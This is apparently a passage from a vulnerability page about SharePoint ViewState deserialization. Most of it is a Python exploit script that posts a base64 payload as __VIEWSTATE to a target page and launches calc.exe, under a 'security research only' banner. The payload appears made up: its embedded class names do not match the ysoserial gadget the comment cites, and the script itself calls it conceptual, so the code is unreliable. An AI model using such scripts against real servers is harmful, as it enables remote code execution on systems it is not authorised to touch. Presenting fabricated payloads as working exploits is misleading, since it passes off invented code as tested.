Microsoft Office SharePoint Server (受影响版本请参考官方安全公告)
Microsoft SharePoint Foundation (受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (placeholder)
target_url = "http://target-sharepoint-site/pages/default.aspx"
# Malicious payload generated by ysoserial.net for ViewState deserialization
# This is a conceptual PoC. Replace with actual generated payload.
# Command: ysoserial.exe -g ObjectDataProvider -c "calc.exe" -f TextFormatter
payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlcwIAAAABAwAAAAdtZXRob2QDAAAAF0NvbXBvbmVudE1vZGVsLkJ1aWxkAQEAAABTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlciwgc3lzdGVtLndpbmRvd3MuZm9ybXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAABTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbnRlcm5hbC5WYXJpYWJsZUhlbHBlcgMAAAAIVmFyaWFibGUBAAAAFVN5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQEAAAAJdmFsdWVfXwQCAAAAAwAAABNTaXN0ZW0uRGF0YS5EYXRhVmlld0ludGVybmFsLkRhdGFWaWV3SGFuZGxlciwgU3lzdGVtLkRhdGEsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdmNWM1NjE5MzRlMDg5BAAAAAhTZXRQYWdlAQAAAAdTeXN0ZW0uRGF0YS5EYXRhVmlld0ludGVybmFsLkRhdGFWaWV3SGFuZGxlcgIAAAAJU2V0UGFnZQIAAAAHY29tbWFuZAQAAAAJY2FsYy5leGUBAAAAAQ=="
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
# Data structure often used in SharePoint ViewState attacks
data = {
"__VIEWSTATE": payload,
"__VIEWSTATEGENERATOR": "B97B4E27" # Example generator, varies by target
}
try:
response = requests.post(target_url, data=data, headers=headers, timeout=10)
if response.status_code == 200:
print("Payload sent successfully. Check server for execution.")
else:
print(f"Request failed with status code: {response.status_code}")
except Exception as e:
print(f"An error occurred: {e}")